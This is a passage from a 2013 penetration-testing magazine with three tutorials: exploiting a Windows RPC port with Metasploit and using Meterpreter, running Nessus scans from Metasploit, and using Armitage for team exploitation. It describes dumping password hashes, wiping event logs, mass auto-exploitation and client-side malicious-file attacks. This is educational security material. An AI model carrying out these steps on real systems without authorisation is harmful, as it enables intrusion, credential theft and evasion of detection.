erly filled so that the exploit is launched properly
(Figure 11).
We notice that the LHOST for out payload is not
set, so we set it to out local IP ie. IP using the com-
mand set LHOST IP
Step 8
Now that everything is ready and the exploit has been
configured properly its time to launch the exploit.
You can use the check command to check
whether the victim machine is vulnerable to the ex-
ploit or not. This option is not present for all the
exploits but can be a real good support system be-
fore you actually exploit the remote server to make
sure the remote server is not patched against the
exploit you are trying against it.
In out case as shown in the figure below, our se-
lected exploit does not support the check option
(Figure 12).
The exploit command actually launches the at-
tack, doing whatever it needs to do to have the pay-
load executed on the remote system (Figure 13).
The above figure shows that the exploit was suc-
cessfully executed against the remote machine
192.168.42.129 due to the vulnerable port 135.
This is indicated by change in prompt to meter-
preter >.
Step 9
Now that a reverse connection has been setup be-
tween the victim and our machine, we have com-
plete control of the server. We can use the help
Figure 9. RHOST set to IP Figure 11. Show options
Figure 10. Show payloads
Figure 8. The environment if the exploit
www.hakin9.org/en 89
command to see which all commands can be used
by us on the remote server to perform the related
actions as displayed in the Figure 14.
Below are the results of some of the meterpreter
commands.
ipconfig prints the remote machines all current
TCP/IP network configuration values
getuid prints the servers username to the con-
sole.
hashdump dumps the contents of the SAM da-
tabase.
clearev can be used to wipe off all the traces
that you were ever on the machine.
COMMANDS RECALL
search <keyword>: Typing in the command search
along with the keyword lists out the various possi-
ble exploits that have that keyword pattern.
show exploits: Typing in the command show
exploits lists out the currently available exploits.
There are remote exploits for various platforms
and applications including Windows, Linux, IIS,
Apache, and so on, which help to test the flexibility
and understand the working of Metasploit.
show payloads: With the same show command,
we can also list the payloads available. We can
use a show payloads to list the payloads.
show options: Typing in the command show op-
tions will show you options that you have set and
Figure 14. Related actions
Figure 13. Launching the attack
Figure 12. Exploit does not support the check option
possibly ones that you might have forgotten to set.
Each exploit and payload comes with its own op-
tions that you can set.
info <type> <name>: If you want specific infor-
mation on an exploit or payload, you are able to
use the info command. Lets say we want to get
complete info of the payload winbind. We can use
info payload winbind.
use <exploit_name>: This command tells
Metasploit to use the exploit with the specified
name.
set RHOST <hostname_or_ip>: This command
will instruct Metasploit to target the specified re-
mote host.
set RPORT <host_port>: This command sets the
port that Metasploit will connect to on the remote
host.
set PAYLOAD <generic/shell_bind_tcp>: This
command sets the payload that is used to a gener-
ic payload that will give you a shell when a service
is exploited.
set LPORT <local_port>: This command sets the
port number that the payload will open on the serv-
er when an exploit is exploited. It is important that
this port number be a port that can be opened on
the server (i.e.it is not in use by another service
and not reserved for administrative use), so set it
to a random 4 digitnumber greater than 1024, and
you should be fine. Youll have to change the num-
ber each time you successfully exploit a service
as well.
exploit: Actually exploits the service. Another ver-
sion of exploit, rexploit reloads your exploit code
and then executes the exploit. This allows you to
try minor changes to your exploit code without re-
starting the console.
help: The help command will give you basic in-
formation of all the commands that are not listed
out here.
ANKHORUS CYBER SECURITY
Ankhorus Cyber Security ankhorus
TM
is a cyber security
product and services solution provider. ankhorus deal
in various cyber security solution like managed web secu-
rity, managed application and network security, and var-
ious pen-testing services and auditing services.
90
EXPLOITING WITH METASPLOIT
TBO 01/2013
How to Scan
with Nessus from within Metasploit
When you perform a penetration test with Metasploit you
sometimes import vulnerability scanning results for example Nessus
Vulnerability Scanner. Usually you start the scan externally from
Metasploit framework and then import the results into Metasploit.
W
hat you can do is to manage the Nessus
scan from within Metasploit and easily
import the results into your process. But
lets start from the beginning.
What you should know
To get the most of this article you should have a
working (and preferably updated) BackTrack 5 R3
system, 32-bit or 64-bit shouldnt matter but I per-
sonally run a 32-bit system in a virtual machine.
This article makes extensive use of the command
line so you should preferably be familiar with that.
What you will learn
After reading this article you should know how to
run a Nessus scan both from the Nessus console
and, more importantly, from within the Metasploit
Framework.
Installing Nessus on BackTrack 5 R3
To run a Nessus vulnerability scan from the
Metasploit console you first need to have a Nes-
sus installation somewhere. Please refer to http://
www.tenable.com/products/nessus/nessus-prod-
uct-overview for download and installation instruc-
tions. Ill wait while you install it, and dont forget to
register your installation so you can download the
latest plugins for it.
Downloading
To download Nessus vulnerability scanner go to
http://www.nessus.org and download the Ubuntu
11.10 version for your architecture (32-bit or 64-
bit).
Installing
Install Nessus by running
32-bit
# dpkg - - i nst al l Nessus- 5. 0. 1- ubunt u1110_i 386. deb
64-bit
# dpkg - - i nst al l Nessus- 5. 0. 1- ubunt u1110_amd64. deb
Figure 1. Registering Nessus
www.hakin9.org/en 91
Confguring
First you need to register for a feed, which is how
you get updated plugins very much like an antivi-
rus gets updated definitions. For home user there
is a free personal feed and for organizations and
security professionals there is a professional feed
which is very affordable (at the time of writing it is
USD$1200 per year, which makes it USD$100 per
month). If your organization cant afford that then
you are in serious trouble.
Once you got your feed registration it is time to
register Nessus (Figure 1).
# nessus- f et ch - - r egi st er XXXX- XXXX- XXXX- XXXX- XXXX
Finally create a user for Nessus: Figure 2 and
Listing 1.
Running Nessus
Start Nessus by running
# / et c/ i ni t . d/ nessusd st ar t
You can access the Nessus console by going to
ht t ps: // <i p addr ess>: 8834/ . You will be presented
with a certifcate warning because the SSL-cer-
tifcate is self-signed. Click through the warning
message to access the console (generally not a
good idea unless you know why you get the warn-
ing and the implications of it).
Using Metasploit Framework and Nessus
together
Scanning the local network
Lets scan the local network for vulnerable systems
(Figure 3).
After filling out the required information you can
start the scan. Time to grab some coffee... De-
pending on the size of the target network the scan
process can take anything from a few minutes to
hours... (Figure 4).
Once the scan is finished you can browse the
report and download it so you can import it into
Metasploit (Figure 5).
Manually importing Nessus results into
Metasploit
Once you have a Nessus report you can download
it in .nessus XML format (recommended) and im-
port it using db_i mpor t command: Listing 2.
Figure 2. Create a user for Nessus
Listing 1. Create a user for Nessus
# nessus- adduser
Logi n : msf
Passwor d :
Passwor d ( agai n) :
Do you want t hi s user t o be a Nessus admi n
user ? ( can upl oad pl ugi ns , et c. . . ) ( y/ n) [ n] : y
Figure 3. Scanning the local network for vulnerable systems
Figure 4. The span of time needed to scan with Nessus
92
EXPLOITING WITH METASPLOIT
TBO 01/2013
msf > db_i mpor t / pat h/ t o/ r epor t . nessus
But that means that you need to run the scan frst
the scan and then import it to Metasploit...
Run Nessus from within Metasploit Framework
A much cooler feature is to run the vulnerability
scan directly from your Metasploit console, using
the information you already collected about the tar-
get network.
Load Nessus plugin
In Metasploit you start with loading the nessus plu-
gin:
msf > l oad nessus
and then connect to the Nessus installation
Connect Metasploit to Nessus server
Listing 3.
msf > nessus_connect user : passwor d@l ocal host : 8834 ok
If you save the credentials using
msf > nessus_save
Figure 5. Browsing and downloading the report
Listing 2. Importing a Nessus report
msf > db_i mpor t
Usage: db_i mpor t <f i l ename> [ f i l e2. . . ]
Fi l enames can be gl obs l i ke *. xml , or **/ *. xml
whi ch wi l l sear ch r ecur si vel y
Cur r ent l y suppor t ed f i l e t ypes i ncl ude:
Acunet i x XML
Amap Log
Amap Log - m
Appscan XML
Bur p Sessi on XML
Foundst one XML
I P360 ASPL
I P360 XML v3
Mi cr osof t Basel i ne Secur i t y Anal yzer
Nessus NBE
Nessus XML ( v1 and v2)
Net Spar ker XML
NeXpose Si mpl e XML
NeXpose XML Repor t
Nmap XML
OpenVAS Repor t
Qual ys Asset XML
Qual ys Scan XML
Ret i na XML
Listing 3. Connecting Metasploit to Nessus server
msf > nessus_connect - h
[ *] You must do t hi s bef or e any ot her commands.
[ *] Usage:
[ *] nessus_connect user name: passwor d@
host name: por t <ssl ok>
[ *] Exampl e: > nessus_connect
msf : msf @192. 168. 1. 10: 8834 ok
[ *] OR
[ *] nessus_connect user name@
host name: por t <ssl ok>
[ *] Exampl e: > nessus_connect
msf @192. 168. 1. 10: 8834 ok
[ *] OR
[ *] nessus_connect host name: por t <ssl
ok>
[ *] Exampl e: > nessus_connect
192. 168. 1. 10: 8834 ok
[ *] OR
[ *] nessus_connect
[ *] Exampl e: > nessus_connect
[ *] Thi s onl y wor ks af t er you have saved cr eds
with nessus_save
[ *]
[ *] user name and passwor d ar e t he ones you use
t o l ogi n t o t he nessus web
f r ont end
[ *] host name can be an i p addr ess or a dns
name of t he web f r ont end.
[ *] The ok on t he end i s i mpor t ant . I t i s a
way of l et t i ng you
[ *] know t hat nessus used a sel f si gned cer t
and t he r i sk t hat pr esent s.
www.hakin9.org/en 93
You only need to issue
msf > nessus_connect
to automatically connect to your Nessus instance.
Be warned, your Nessus credentials are stored in
the clear in ~/. msf 4/ nessus. yaml but it saves on
typing...
Configuring Nessus from Metasploit
After you have connected to the Nessus scan it is
time to scan the target. First we need to select a
policy: Listing 4.
Unfortunatly, you cant create Nessus scan poli-
cies from the Metasploit plugin and you are forced
to use the flash-based web GUI. This shouldnt
be a big problem as creating policies is done far
less often than performing vulnerability scans with
them.
Scan with Nessus from within Metasploit
Then we need to start the scan: Listing 5.
msf > nessus_scan_new - 4 Met aspl oi t Scan
192. 168. 1. 0/ 24
Importing the Nessus results into Metasploit
Once the scan is completed it is time to import the
result into Metasploit (Listing 6.)
After which it is time to check what we now know
about our target network using the hosts, servic-
es and vulns commands in the Metasploit con-
sole.
Final thoughts
Integrating Nessus vulnerability scan into
Metasploit has several positive effects, like using
Metasploit as the central repository for the current
penetration test project and being able to share the
information between team members when used
in conjunction with Armitage (thus allowing multi-
player Metasploit).
Listing 4. Selecting a policy
msf > nessus_pol i cy_l i st
[ +] Nessus Pol i cy Li st
[ +]
[ +] I D Name Comment s
- - - - - - - - - - - - - -
- 1 Web App Test s
- 2 I nt er nal Net wor k Scan
- 3 Pr epar e for PCI DSS audi t s
- 4 Ext er nal Net wor k Scan
Listing 5. Starting the scan
msf > nessus_scan_new - h
[ *] Usage:
[ *] nessus_scan_new <pol i cy i d> <scan
name> <t ar get s>
[ *] Exampl e: > nessus_scan_new 1 My Scan
192. 168. 1. 250
[ *]
[ *] Cr eat es a scan based on a pol i cy i d and
t ar get s.
[ *] use nessus_pol i cy_l i st t o l i st al l
avai l abl e pol i ci es
Listing 6. Importing the scans results into Metasploit
msf > nessus_r epor t _l i st
msf > nessus_r epor t _get - h
[ *] Usage:
[ *] nessus_r epor t _get <r epor t i d>
[ *] Exampl e: > nessus_r epor t _get f 0eabba3-
4065- 7d54- 5763-
f 191e98eb0f 7f 9f 33db7e75a06ca
[ *]
[ *] Thi s command pul l s t he pr ovi ded r epor t
from t he nessus ser ver i n t he
nessusv2 f or mat
[ *] and par ses i t t he same way db_i mpor t _
nessus does. Af t er i t i s
par sed i t wi l l be
[ *] avai l abl e t o commands such as db_host s,
db_vul ns, db_ser vi ces and
db_aut opwn.
[ *] Use: nessus_r epor t _l i st t o obt ai n a l i st
of r epor t i d s
msf > nessus_r epor t _get f 0eabba3-
4065- 7d54- 5763-
f 191e98eb0f 7f 9f 33db7e75a06ca
MICHAEL BOMAN
Michael Boman is a penetration tester by
day and a malware researcher by night.
Michael has more than 10 years experi-
ence in security testing of applications
and infrastructure. He also deliver cours-
es in security testing and secure develop-
ment. Michael is passionate about computer security and
doing his best so that more people do it right from start.
You can fnd him at his website http://michaelboman.org
where he tries to share his experiences whenever he can.
94
EXPLOITING WITH METASPLOIT
TBO 01/2013
How to Use Multiplayer
Metasploit with Armitage
Metasploit is a very cool tool to use in your penetration testing: add
Armitage for a really good time. Penetration test engagements are
more and more often a collaborative effort with teams of talented
security practitioners rather than a solo effort.
A
rmitage is a scriptable red team (that is what
the offensive security teams are called) col-
laboration tool for Metasploit that visualiz-
es targets, recommends exploits, and exposes the
advanced post-exploitation features in the frame-
work.
Through one Metasploit/Armitage Server in-
stance, your team can:
Use the same sessions
Share hosts, captured data, and downloaded
fles
Communicate through a shared event log (very
similar to a IRC chat if you are familiar with
those)
Run bots to automate red team tasks
What you should know
To get the most of this article you should have a
working (and preferably updated) BackTrack 5 R3
system, 32-bit or 64-bit shouldnt matter but I per-
sonally run a 32-bit system in a virtual machine.
This article makes extensive use of the com-
mand line so you should preferably be familiar with
that. You should also have a workstation that can
run the Armitage java GUI, which either can be the
BackTrack computer in X-windows or a separate
computer running Linux, OSX or Windows which
can reach the BackTrack machine via the network.
Armitages red team collaboration setup is CPU
sensitive and it likes RAM. Make sure you give
the virtual machine (or physical machine) at least
1.5GB of RAM to your BackTrack 5 R3 team serv-
er.
What you will learn
After reading this article you should know how to
run a Armitage server and have several clients
connected to it for multiplayer Metasploit, meaning
running red teams with more than a single member
on the same Metasploit server.
Installation
I will base this article on BackTrack 5 R3, so get
that from http://www.backtrack-linux.org/. After
you have downloaded and booted it you need to
start with connecting it to the network and update
Metasploit Framework. The default username/
password for BackTrack 5 is root / toor(root
spelled backwards).
Update BackTrack and Metasploit
Before we begin we should update BackTrack to
get the latest fixes by running
# apt - get updat e
# apt - get di st - upgr ade
We should also update the Metasploit Framework
by running
# msf updat e
www.hakin9.org/en 95
Listing 1a. Updating the Metasploit Framework
#! /bin/sh
### BEGIN INIT INFO
# Provides: armitage-teamserver
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Armitage TeamServer
# Description: Armitage TeamServer for true Multiplayer Metasploit
#
### END INIT INFO
# Author: Michael Boman <michael@michaelboman.org>
#
PATH=/ sbi n: / usr / sbi n: / bi n: / usr / bi n: / usr / l ocal / sbi n: / usr / l ocal / bi n
DESC=Ar mi t age TeamSer ver
NAME=t eamser ver
ARMI TAGE_DI R=/ opt / met aspl oi t / msf 3/ dat a/ ar mi t age
DAEMON=$ARMI TAGE_DI R/ $NAME
DAEMON_ARGS=172. 16. 109. 130 MySecr et Passwor d
PI DFI LE=/ var / r un/ $NAME. pi d
SCRI PTNAME=/ et c/ i ni t . d/ $NAME
# Exit if the package is not installed
[ - x $DAEMON ] | | exi t 0
# Read configuration variable file if it is present
[ - r / et c/ def aul t / $NAME ] && . / et c/ def aul t / $NAME
# Load the VERBOSE setting and other rcS variables
. / l i b/ i ni t / var s. sh
# Define LSB log_* functions.
# Depend on lsb-base (>= 3.0-6) to ensure that this file is present.
. / l i b/ l sb/ i ni t - f unct i ons
#
# Function that starts the daemon/service
#
do_st ar t ( )
{
# Return
# 0 if daemon has been started
# 1 if daemon was already running
# 2 if daemon could not be started
st ar t - st op- daemon - - st ar t - - qui et - - pi df i l e $PI DFI LE - - exec $DAEMON - - chdi r $ARMI TAGE_DI R - - t est
> / dev/ nul l \
| | return 1
st ar t - st op- daemon - - st ar t - - qui et - - pi df i l e $PI DFI LE - - exec $DAEMON - - chdi r
$DAEMON_ARGS \
96
EXPLOITING WITH METASPLOIT
TBO 01/2013
Listing 1b. Updating the Metasploit Framework
| | return 2
}
#
# Function that stops the daemon/service
#
do_st op( )
{
# Return
# 0 if daemon has been stopped
# 1 if daemon was already stopped
# 2 if daemon could not be stopped
# other if a failure occurred
st ar t - st op- daemon - - st op - - qui et - - r et r y=TERM/ 30/ KI LL/ 5 - - pi df i l e $PI DFI LE - - name $NAME
RETVAL=$?
[ $RETVAL = 2 ] && return 2
# Wait for children to finish too if this is a daemon that forks
# and if the daemon is only ever run from this initscript.
# If the above conditions are not satisfied then add some other code
# that waits for the process to drop all resources that could be
# needed by services started subsequently. A last resort is to
# sleep for some time.
st ar t - st op- daemon - - st op - - qui et - - oknodo - - r et r y=0/ 30/ KI LL/ 5 - - exec $DAEMON
[ $? = 2 ] && return 2
# Many daemons dont delete their pidfiles when they exit.
r m- f $PI DFI LE
return $RETVAL
}
#
# Function that sends a SIGHUP to the daemon/service
#
do_r el oad( ) {
#
# If the daemon can reload its configuration without
# restarting (for example, when it is sent a SIGHUP),
# then implement that here.
#
st ar t - st op- daemon - - st op - - si gnal 1 - - qui et - - pi df i l e $PI DFI LE - - name $NAME
return 0
}
case $1 i n
st ar t )
[ $VERBOSE ! = no ] && l og_daemon_msg St ar t i ng $DESC $NAME
do_st ar t
case $? i n
0| 1) [ $VERBOSE ! = no ] && l og_end_msg 0 ; ;
2) [ $VERBOSE ! = no ] && l og_end_msg 1 ; ;
; ;
st op)
www.hakin9.org/en 97
Listing 1c. Updating the Metasploit Framework
[ $VERBOSE ! = no ] && l og_daemon_msg St oppi ng $DESC $NAME
do_st op
case $? i n
0| 1) [ $VERBOSE ! = no ] && l og_end_msg 0 ; ;
2) [ $VERBOSE ! = no ] && l og_end_msg 1 ; ;
esac
; ;
st at us)
st at us_of _pr oc $DAEMON $NAME && exi t 0 | | exi t $?
; ;
#reload|force-reload)
#
# If do_reload() is not implemented then leave this commented out
# and leave force-reload as an alias for restart.
#
#log_daemon_msg Reloading $DESC $NAME
#do_reload
#log_end_msg $?
#;;
r est ar t | f or ce- r el oad)
#
# If the reload option is implemented then remove the
# force-reload alias
#
l og_daemon_msg Rest ar t i ng $DESC $NAME
do_st op
case $? i n
0| 1)
do_st ar t
case $? i n
0) l og_end_msg 0 ; ;
1) l og_end_msg 1 ; ; # Old process is still running
*) l og_end_msg 1 ; ; # Failed to start
esac
; ;
*)
# Failed to stop
l og_end_msg 1
; ;
esac
; ;
*)
echo Usage: $SCRI PTNAME {st ar t | st op| st at us| r est ar t | f or ce- r el oad} >&2
exi t 3
; ;
esac
:
98
EXPLOITING WITH METASPLOIT
TBO 01/2013
Once that is done we are ready to get Armitage
running.
Configuring Armitage
Before you can use Armitage you need to config-
ure it and make sure it is running (and create start-
up-scripts so it is always started when the system
boots up).
To begin with we need a shared secret (also known
as a password) that is the gatekeeper between your
Armitage server and its clients. Anyone who knows
this password can access your server and access
the results your have collected, including active
sessions. Take care when choosing this password,
although for this article I will chose a password that
is not considered secure but is easy to read.
Manually start Armitage Teamserver
To manually start Armitage Teamserver you first
need to move to the Armitage directory which is
(in BackTrack 5 R3) / opt / met aspl oi t / msf 3/ dat a/
ar mi t age by running:
# cd / opt / met aspl oi t / msf 3/ dat a/ ar mi t age
And then to start the Armitage Teamserver you
need to run . / t eamser ver <my- i p- addr ess>
<passwor d> like this:
# . / t eamser ver 172. 16. 109. 130 MySecr et Passwor d
Creating start-up scripts for Armitage
To start the Armitage Team Server for true multi-
player Metasploit you need to create a startup
script. As of this moment the correct way to start
a Armitage team server on BackTrack 5 R3 is like
this: Listing 1.
Start Armitage server automatically at boot
Add the Armitage to automatically start at boot with
the following command:
# updat e- r c. d ar mi t age- t eamser ver def aul t s
Using Armitage
Connecting Armitage client to the Server.
Using Armitage GUI
The Armitage GUI has three main panels: modules
(top to the left), targets (top to the right) and tabs
(bottom), which can be resized to your liking.
Modules
The module browser lets you launch a Metasploit
auxiliary module, throw an exploit, generate a pay-
load, and run a post-exploitation module. Click
through the tree to find the desired module. Dou-
ble-click the module to open a module launch dia-
log.
Armitage will configure the module to run against
the selected hosts. This works for auxiliary mod-
ules, exploits, and post modules.
Running a module against multiple hosts is one
of the big advantages of Armitage. In the Metasploit
console, you must configure and launch an exploit
and post modules for each host youre working
with while in the Armitage GUI most of the module
settings are already populated.
You can search modules too. Click in the search
box below the tree, type a wildcard expression
(e.g., ssh_*), and press enter. The module tree will
show the search results, expanded for quick view-
ing. Clear the search box and press enter to re-
store the module browser to its original state.
Targets Graph View
The targets panel shows your targets to you. Ar-
mitage represents each target as a computer with
its IP address and other information about it below
Figure 1. Armitage client connection window Figure 2. Description of the Armitage user interface
100
EXPLOITING WITH METASPLOIT
TBO 01/2013
the computer. The computer screen shows the op-
erating system the computer is running (Figure 2).
A red computer with electrical jolts indicates a
compromised host.
A directional green line indicates a pivot from one
host to another. Pivoting allows Metasploit to route
attacks and scans through intermediate hosts. A
bright green line indicates the pivot communication
path is in use.
Click a host to select it. You may select multiple
hosts by clicking and dragging a box over the de-
sired hosts.
Right-click a host to bring up a menu with avail-
able options. The attached menu will show attack
and login options, menus for existing sessions,
and options to edit the host information.
The login menu is only available after a port scan
reveals open ports that Metasploit can use. The
Attack menu is only available after finding attacks
through the Attacks menu at the top of Armitage.
Shell and Meterpreter menus show up when a
shell or Meterpreter session exists on the selected
host.
Several keyboard shortcuts are available in the
targets panel. To edit these, go to Armitage -> Pref-
erences.
Ctrl Plus zoom in
Ctrl Minus zoom out
Ctrl 0 reset the zoom level
Ctrl A select all hosts
Escape clear selection
Ctrl C arrange hosts into a circle
Ctrl S arrange hosts into a stack
Ctrl H arrange hosts into a hierarchy. This
only works when a pivot is set up.
Ctrl P export hosts into an image
Right-click the target area with no selected hosts
to confgure the layout and zoom level of the tar-
get area.
Targets Table View
If you have a lot of hosts, the graph view becomes
difficult to work with. For this situation Armitage has
a table view. Go to Armitage -> Set Target View ->
Table View to switch to this mode. Armitage will re-
member your preference (Figure 3).
Click any of the table headers to sort the hosts.
Highlight a row and right-click it to bring up a menu
with options for that host.
Armitage will highlight the IP address of any host
with sessions. If a pivot is in use, Armitage will
make it bold as well.
Tabs
Armitage opens each dialog, console, and table in
a tab below the module and target panels. Click
the X button to close a tab.
You may right-click the X button to open a tab in
a window, take a screenshot of a tab, or close all
tabs with the same name (Figure 4).
Hold shift and click X to close all tabs with the
same name. Hold shift +control and click X to
open the tab in its own window.
You may drag and drop tabs to change their or-
der.
Armitage provides several keyboard shortcuts to
make your tab management experience as enjoy-
able as possible. Use Ctrl+T to take a screenshot
of the active tab. Use Ctrl+D to close the active
tab. Try Ctrl+Left and Ctrl+Right to quickly switch
tabs. And Ctrl+W to open the current tab in its own
window.
Consoles
Metasploit console, Meterpreter console, and shell
interfaces each use a console tab. A console tab
lets you interact with these interfaces through Ar-
mitage.
The console tab tracks your command history.
Use the up arrow to cycle through previously typed
commands. The down arrow moves back to the
last command you typed.
In the Metasploit console, use the Tab key to
complete commands and parameters. This works
just like the Metasploit console outside of Armit-
age.
Use Ctrl Plus to make the console font size larg-
er, Ctrl Minus to make it smaller, and Ctrl 0 to re-
set it. This change is local to the current console
only. Visit Armitage -> Preferences to permanently
change the font.
Press Ctrl F to show a panel that will let you
search for text within the console.
Figure 3. Your preferences stored in Armitage Figure 4. Tabs management
www.hakin9.org/en 101
Use Ctrl A to select all text in the consoles buf-
fer. Armitage sends a use or a set PAYLOAD com-
mand if you click a module or a payload name in
a console.
To open a Console go to View -> Console or
press Ctrl+N.
On MacOS X and Windows, you must click in the
edit box at the bottom of the console to type. Linux
doesnt have this problem. Always remember, the
best Armitage experience is on Linux.
The Armitage console uses color to draw your at-
tention to some information. To disable the colors,
set the console.show_colors.boolean preference
to false. You may also edit the colors through Ar-
mitage -> Preferences. Here is the Armitage color
palette and the preference associated with each
color: Figure 5.
Logging
Armitage logs all console, shell, and event log out-
put for you. Armitage organizes these logs by date
and host. Youll find these logs in the ~/ . ar mi t age
folder. Go to View -> Reporting -> Acitivity Logs to
open this folder.
Armitage also saves copies of screenshots and
webcam shots to this folder.
Change the armitage log_everything boolean
preference key to false to disable this feature.
Edit the armitage log_data_here folder to set the
folder where Armitage should log everything to.
Export Data
Armitage and Metasploit share a database to track
your hosts, services, vulnerabilities, credentials,
loots, and user-agent strings captured by browser
exploit modules.
To get this data, go to View -> Reporting -> Export
Data. This option will export data from Metasploit
and create easily parsable XML and tab separated
value (TSV) files.
Host Management
Dynamic Workspaces
Armitages dynamic workspaces feature allows
you to create views into the hosts database and
quickly switch between them. Use Workspaces
-> Manage to manage your dynamic workspaces.
Here you may add, edit and remove workspaces
you create (Figure 6).
To create a new dynamic workspace, press Add.
You will see the following dialog: Figure 7.
Give your dynamic workspace a name. It doesnt
matter what you call it. This description is for you.
If youd like to limit your workspace to hosts from
a certain network, type a network description in
the Hosts field. A network description might be:
10.10.0.0/16 to display hosts between 10.10.0.0-
10.10.255.255. Separate multiple networks with a
comma and a space.
Figure 5. Armitage color palette
Figure 6. Managing your dynamic workspaces
Figure 7. Creating a new dynamic workspace
102
EXPLOITING WITH METASPLOIT
TBO 01/2013
You can cheat with the network descriptions a
little. If you type: 192.168.95.0, Armitage will as-
sume you mean 192.168.95.0-255. If you type:
192.168.0.0, Armitage will assume you mean
192.168.0.0-192.168.255.255.
Fill out the Ports field to include hosts with cer-
tain services. Separate multiple ports using a com-
ma and a space.
Use the OS field to specify which operating sys-
tem youd like to see in this workspace. You may
type a partial name, such as indows. Armitage
will only include hosts whose OS name includes
the partial name. This value is not case sensitive.
Separate multiple operating systems with a com-
ma and a space.
Select Hosts with sessions only to only include
hosts with sessions in this dynamic workspace.
You may specify any combination of these items
when you create your dynamic workspace.
Each workspace will have an item in the Work-
spaces menu. Use these menu items to switch
between workspaces. You may also use Ctrl+1
through Ctrl+9 to switch between your first nine
workspaces.
Use Workspaces -> Show All or Ctrl+Backspace
to display the entire database.
Armitage will only display 512 hosts at any given
time, no matter how many hosts are in the data-
base. If you have thousands of hosts, use this fea-
ture to segment your hosts into useful target sets.
Importing Hosts
To add host information to Metasploit, you may im-
port it. The Hosts -> Import Hosts menu accepts
the following files:
Acunetix XML
Amap Log
Amap Log -m
Appscan XML
Burp Session XML
Foundstone XML
IP360 ASPL
IP360 XML v3
Microsoft Baseline Security Analyzer
Nessus NBE
Nessus XML (v1 and v2)
NetSparker XML
NeXpose Simple XML
NeXpose XML Report
Nmap XML
OpenVAS Report
Qualys Asset XML
Qualys Scan XML
Retina XML
You may manually add hosts with Hosts -> Add
Hosts.
NMap Scans
You may also launch an NMap scan from Armitage
and automatically import the results into Metasploit.
The Hosts ->NMap Scan menu has several scan-
ning options.
Optionally, you may type db_nmap in a console
to launch NMap with the options you choose.
NMap scans do not use the pivots you have set up.
MSF Scans
Armitage bundles several Metasploit scans into
one feature called MSF Scans. This feature will
scan for a handful of open ports. It then enumer-
ates several common services using Metasploit
auxiliary modules built for the purpose.
Highlight one or more hosts, right-click, and click
Scan to launch this feature. You may also go to
Hosts -> MSF Scans to launch these as well.
These scans work through a pivot and against
IPv6 hosts as well. These scans do not attempt to
discover if a host is alive before scanning. To save
time, you should do host discovery first (e.g. an
ARP scan, ping sweep, or DNS enumeration) and
then launch these scans to enumerate the discov-
ered hosts.
DNS Enumeration
Another host discovery option is to enumerate a
DNS server. Go to Hosts -> DNS Enum to do this.
Armitage will present a module launcher dialog
with several options. You will need to set the DO-
MAIN option to the domain you want to enumerate.
You may also want to set NS to the IP address of
the DNS server youre enumerating.
If youre attacking an IPv6 network, DNS enu-
meration is one option to discover the IPv6 hosts
on the network.
Database Maintenance
Metasploit logs everything you do to a database.
Over time your database will become full of stuff.
If you have a performance problem with Armitage,
try clearing your database. To do this, go to Hosts
-> Clear Database.
Exploitation
Remote Exploits
Before you can attack, you must choose your
weapon. Armitage makes this process easy. Use
Attacks -> Find Attacks to generate a custom At-
tack menu for each host. To exploit a host: right-
click it, navigate to Attack, and choose an exploit.
www.hakin9.org/en 103
To show the right attacks, make sure the operating
system is set for the host.
The Attack menu limits itself to exploits that meet
a minimum exploit rank of great. Some useful ex-
ploits are ranked good and they wont show in the
attack menu. You can launch these using the mod-
ule browser.
Use Armitage -> Set Exploit Rank to change the
minimum exploit rank.
Optionally, if youd like to see hosts that are vul-
nerable to a certain exploit, browse to the exploit in
the module browser. Right-click the module. Select
Relevant Targets. Armitage will create a dynamic
workspace that shows hosts that match the high-
lighted exploit. Highlight all of the hosts and double-
click the exploit module to attack all of them at once.
Which exploit?
Learning which exploits to use and when comes
with experience. Some exploits in Metasploit im-
plement a check function. These check functions
connect to a host and check if the exploit applies.
Armitage can use these check functions to help
you choose the right exploit when there are many
options. For example, targets listening on port 80
will show several web application exploits after you
use Find Attacks. Click the Check exploits menu
to run the check command against each of these.
Once all the checks are complete, press Ctrl F and
search for vulnerable hosts. This will lead you to
the right exploit (Figure 8).
Clicking a host and selecting Services is another
way to find an exploit. If you have NMap scan re-
sults, look at the information field and guess which
server software is in use. Use the module brows-
er to search for any Metasploit modules related to
that software. One module may help you find infor-
mation required by another exploit. Apache Tom-
cat is an example of this. The t omcat _mgr _l ogi n
module will search for a username and password
that you can use. Once you have this, you can
launch the t omcat _mgr _depl oy exploit to get a shell
on the host.
Launching Exploits
Armitage uses this dialog to launch exploits: Fig-
ure 9.
The exploit launch dialog lets you configure op-
tions for a module and choose whether to use a
reverse connect payload.
Armitage presents options in a table. Double-click
the value to edit it. If an option requires a filename,
double-click the option to open up a file chooser di-
alog. You may also check Show advanced options
to view and set advanced options.
If you see SOMETHING + in a table, this means
you can double-click that item to launch a dialog to
help you configure its value. This convention applies
to the module launcher and preferences dialogs.
Some penetration testers organize their targets
into text files to make them easier to track. Armit-
age can make use of these files too. Double-click
RHOST + and select your targets file. The file must
contain one IP address per line. This is an easy
way to launch an attack or action against all of
those hosts.
For remote exploits, Armitage chooses your pay-
load for you. Generally, Armitage will use Meter-
preter for Windows targets and a command shell
payload for UNIX targets.
Click Launch to run the exploit. If the exploit is
successful, Armitage will make the host red and
surround it with lightning bolts. Metasploit will also
print a message to any open consoles.
Automatic Exploitation
If manual exploitation fails, you have the hail mary
option. Attacks -> Hail Mary launches this feature.
Armitages Hail Mary feature is a smart db_autop-
wn. It finds exploits relevant to your targets, filters
the exploits using known information, and then
sorts them into an optimal order.
This feature wont find every possible shell, but
its a good option if you dont know what else to try.
Client-side Exploits
Through Armitage, you may use Metasploits cli-
ent-side exploits. A client-side attack is one that at-
Figure 8. Finding the right exploit Figure 9. Launching exploits
104
EXPLOITING WITH METASPLOIT
TBO 01/2013
tacks an application and not a remote service. If
you cant get a remote exploit to work, youll have
to use a client-side attack.
Use the module browser to find and launch cli-
ent-side exploits. Search for fileformat to find ex-
ploits that trigger when a user opens a malicious
file. Search for browser to find exploits that serv-
er browser attacks from a web server built into
Metasploit.
Client-side Exploits and Payloads
If you launch an individual client-side exploit, you
have the option of customizing the payload that
goes with it. Armitage picks same defaults for you.
In a penetration test, its usually easy to get
someone to run your evil package. The hard part is
to get past network devices that limit outgoing traf-
fic. For these situations, it helps to know about me-
terpreters payload communication options. There
are payloads that speak HTTP, HTTPS, and even
communicate to IPv6 hosts. These payloads give
you options in a tough egress situation.
To set the payload, double-click PAYLOAD in the
option column of the module launcher. This will
open a dialog asking you to choose a payload (Fig-
